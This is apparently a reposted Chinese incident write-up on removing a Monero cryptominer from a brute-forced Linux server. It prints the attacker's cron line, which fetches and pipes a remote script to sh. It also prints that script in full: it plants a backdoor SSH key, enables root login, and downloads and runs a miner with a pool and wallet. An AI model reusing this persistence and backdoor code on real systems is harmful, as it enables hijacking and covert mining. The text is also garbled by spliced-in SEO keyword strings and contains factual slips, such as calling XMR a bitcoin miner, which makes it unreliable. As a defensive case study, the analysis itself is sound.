主页 > imtoken官方安卓版下载教程 > 服务器再次被植入挖矿程序,导致CPU资源耗尽

服务器再次被植入挖矿程序,导致CPU资源耗尽

矿业

这里稍微概括一下:所谓“挖矿”,本质上就是用计算机来解决一个复杂的数学问题。 这是一个用于赚取比特币的程序。 挖矿就是消耗计算资源来处理交易,保证网络安全,维护网络 同步大家信息的过程。 可以理解为比特币的数据中心,不同的是它是完全去中心化的设计,矿工在全球各个国家运营。 没有人可以控制网络。 这个过程被称为“采矿”,因为它类似于淘金。

任何人都可以在专用硬件上运行软件程序成为比特币矿工。 挖矿软件通过 P2P 网络监听交易广播并执行任务来处理和确认这些交易。 完成这些任务后,比特币矿工有机会获得一定数量的比特币作为赏金,但付出的代价是需要大量的计算资源。 挖矿软件根据特定的算法进行大量的计算,会占用大量的CPU,导致系统卡死,严重的直接瘫痪。

近年来,比特币的价格一直在飙升。 现在大家玩比特币挖矿玩多了,但是大部分都是用矿机或者显卡来完成计算。 事实上,最初的比特币挖矿是用电脑的CPU进行的。 ,虽然CPU的算力远远落后于显卡和矿机,但并不代表CPU不能用来挖矿。 用CPU挖矿的软件有很多,最著名的就是XMR,Monroe,XMR是一个比特币挖矿程序,可以运行在服务器上进行挖矿,占用大量的CPU资源。 下面的案例就和这个挖矿程序有关,请大家慢慢听我说。

第一时间接到一个客户的电话,说业务系统运行缓慢,完全无法使用。 要弄明白要领,只好“深入虎穴”,先登录服务器,查看整个系统的运行情况,再做进一步的判断。

top命令执行后,截图如下:

显卡挖矿速度对比_etc挖矿显卡_ltc显卡挖矿速度表

从图中可以看出系统的平均负载高得离谱,发现在1000以上。其中有很多名为sh的进程,占用了很多CPU资源,而这个sh进程就是仍然由 root 用户启动。 ,并且已经运行了很长时间。

既然找到了pid进程号,那么就可以通过进程号查看,通过以下命令可以查看进程对应的启动文件:

#ll /proc/pid -- 可以列出相关的文件和目录

显卡挖矿速度对比_ltc显卡挖矿速度表_etc挖矿显卡

让我们执行这个命令:

[root@oa228 ~]# ll /proc/35796/exe
lrwxrwxrwx. 1 root root 0 9月 25 10:06 /proc/35796/exe -> /usr/lib/.cache/sh

果然找到了35796进程对应的可执行文件。 对应的文件是/usr/lib/.cache/sh。 一看这条路,就觉得一定有问题。 莫名其妙,为什么在/usr/lib下创建了一个隐藏目录,这不符合常识。 既然是隐藏目录,那肯定有问题。 来到这个目录看一看,果然有重大发现:

显卡挖矿速度对比_etc挖矿显卡_ltc显卡挖矿速度表

打开其中一个可疑文件 pools.txt

显卡挖矿速度对比_ltc显卡挖矿速度表_etc挖矿显卡

可以清楚的看到这是一个运行的挖矿程序,里面显示了币种:monero7币种(xmr Monero),pool_address矿池地址,wallet_address钱包地址等等。 采用CryptoNight算法的代表性货币是Monero,即XMR,Monero。 这是门罗的老算法,适合CPU服务器挖矿和显卡矿机挖矿。 即使是低端的office i3处理器也有4Mb以上的L3缓存,可以用来做这个算法计算。

再看一个文件config.json

etc挖矿显卡_ltc显卡挖矿速度表_显卡挖矿速度对比

ltc显卡挖矿速度表_显卡挖矿速度对比_etc挖矿显卡

果然被挖到了,怎么解决etc挖矿显卡,先找到挖矿程序运行的目录,然后直接清空,比如下面的目录:#rm -rf /usr/lib/.cache

最后删除程序目录后,终止对应的进程 #kill -9 PID PID2 PID3

你以为这样就没事了,错了,清理后,果然,清除挖矿程序5分钟后,发现sh进程又启动了。 根据一个资深运维的经验,感觉应该把crontab写成定时任务。

那么,让我们开始检查系统的crontab文件的内容。 linux下有系统级crontab和用户级crontab。 用户级crontab定义完成后,会在/var/spool/cron目录下创建对应用户的计划任务脚本,系统级crontab可以直接在/etc/crontab文件中查看。 首先查看/var/spool/cron目录,查看系统中是否存在异常的用户定时任务脚本。

如下:

[root@localhost cron]# ll /var/spool/cron/
total 4
drwxr-xr-x 2 root root 6 Oct 18 19:01 crontabs
-rw------- 1 root root 80 Oct 18 19:04 root
[root@localhost cron]# cat /var/spool/cron/root
*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh
[root@localhost cron]# cat /var/spool/cron/crontabs/root

*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh


可以发现,/var/spool/cron/root和/var/spool/cron/crontabs/root两个文件中都有被写入的计划任务。两个计划任务是一样的,计划任务的设置策略是:

每天的18点到23点,0点到7点,这段时间内,每五分钟执行一个curl操作,这个curl操作会从r.chanstring.com这个网站上下载一个脚本,然后在本地服务器上执行。


这里有个很有意思的事情,此计划任务的执行时间刚好在非工作日期间(8点到23点,0点到7点),此骇客还是很有想法的,利用非工作日期间,借用客户的服务器偷偷挖矿,这个时间段隐蔽性很强,不容易发现服务器异常。


既然发现了这个下载脚本的网站,那就看看下载下来的脚本到底是什么,执行了什么操作,https://r.chanstring.com/api/report?pm=0988 此网站很明显是个api接口,下载下来的内容如下:


export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
/etc/init.d/sshd restart
fi
if [ ! -f "/var/tmp/minerd" ]; then
curl -fsSL https://r.chanstring.com/minerd -o /var/tmp/minerd
chmod +x /var/tmp/minerd
/var/tmp/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqsWqkNnkny8pVSvhiDuTA3zCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQ3zmbvvoKVuZV2avhJh -p x
fi
ps auxf | grep -v grep | grep /var/tmp/minerd || /var/tmp/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqy5hflu/XRe4dybhCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQy5hflu/XRe4dybh -p x
if [ ! -f "/etc/init.d/lady" ]; then
if [ ! -f "/etc/systemd/system/lady.service" ]; then
curl -fsSL https://r.chanstring.com/v10/lady_`uname -i` -o /var/tmp/KHK75NEOiq66 && chmod +x /var/tmp/KHK75NEOiq66 && /var/tmp/KHK75NEOiq66
fi
fi
service lady start
systemctl start lady.service
/etc/init.d/lady start


这是一个非常简单的shell脚本,基本的执行逻辑是:

1.将定时任务写入/var/spool/cron/root和/var/spool/cron/crontabs/root文件。

2. 然后查看/root/.ssh/KHK75NEOiq文件(这个应该是公钥文件)是否存在。 如果没有,将公钥写入服务器,修改/etc/ssh/sshd_config的配置。

ltc显卡挖矿速度表_etc挖矿显卡_显卡挖矿速度对比

3、查看挖矿程序/var/tmp/minerd是否存在,如果不存在,从网上下载一个,然后授权,最后启动挖矿程序。 同时还会检查挖矿进程是否存在,如果不存在则重启挖矿进程。 其中-o参数后面是矿池地址和端口号,-u参数后面是黑客自己的钱包地址,-p参数是密码,随便填就可以了。

至此,挖矿程序的运行机制基本清晰。 但是,客户的问题还没有解决!

那么黑客是如何将挖矿程序植入系统的呢? 这个问题需要调查。

然后,查看系统防火墙iptables,发现所有规则都打开了,说明没有使用防火墙,然后询问客户端机器的密码,发现很简单,很容易破解

最后在系统的/var/log/secure中找到了入侵的根源,日志如下:

Sep 22 04:17:56 pkserver unix_chkpwd[36592]: password check failed for user (root)
Sep 22 04:17:58 pkserver sshd[36590]: Failed password for root from 92.168.10.187 port 34714 ssh2
Sep 22 04:17:58 pkserver unix_chkpwd[36595]: password check failed for user (root)
Sep 22 04:18:00 pkserver sshd[36593]: Failed password for root from 92.168.10.187 port 34740 ssh2
Sep 22 04:18:01 pkserver unix_chkpwd[36598]: password check failed for user (root)
Sep 22 04:18:02 pkserver sshd[36596]: Failed password for root from 92.168.10.187 port 34766 ssh2
Sep 22 04:18:03 pkserver unix_chkpwd[36601]: password check failed for user (root)
Sep 22 04:18:05 pkserver sshd[36599]: Failed password for root from 92.168.10.187 port 34792 ssh2
Sep 22 04:18:06 pkserver unix_chkpwd[36604]: password check failed for user (root)
Sep 22 04:18:07 pkserver sshd[36602]: Failed password for root from 92.168.10.187 port 34820 ssh2
Sep 22 04:18:08 pkserver sshd[36605]: Accepted password for root from 92.168.10.187 port 34846 ssh2

上述日志清楚地验证了客户端机器的密码很简单,通过密码字典破解了系统密码,然后将上述一系列文件和挖矿程序植入系统。

最后整理一下本次清除挖矿程序的步骤:

1.确定对应的进程,找出挖矿程序的目录位置

显卡挖矿速度对比_ltc显卡挖矿速度表_etc挖矿显卡

2.清除所有挖矿相关文件并终止进程

3.查找入侵原因

4、更新原账号系统下用户的密码强度,安装强大的保护软件,提高系统安全性。

事故源于麻痹,安全源于警惕etc挖矿显卡

让我们用这句话结束这篇文章吧!

本文来自:

干读:

安全训练营第三期

最后早鸟优惠

etc挖矿显卡_ltc显卡挖矿速度表_显卡挖矿速度对比

你懂了吗?

国庆后开放

针对漏洞频发的服务器运维

懂运维+懂安全=高薪运维

显卡挖矿速度对比_etc挖矿显卡_ltc显卡挖矿速度表

有实操——有打卡——有督导

有扩展-有工具-有问答

扫码购买

显卡挖矿速度对比_ltc显卡挖矿速度表_etc挖矿显卡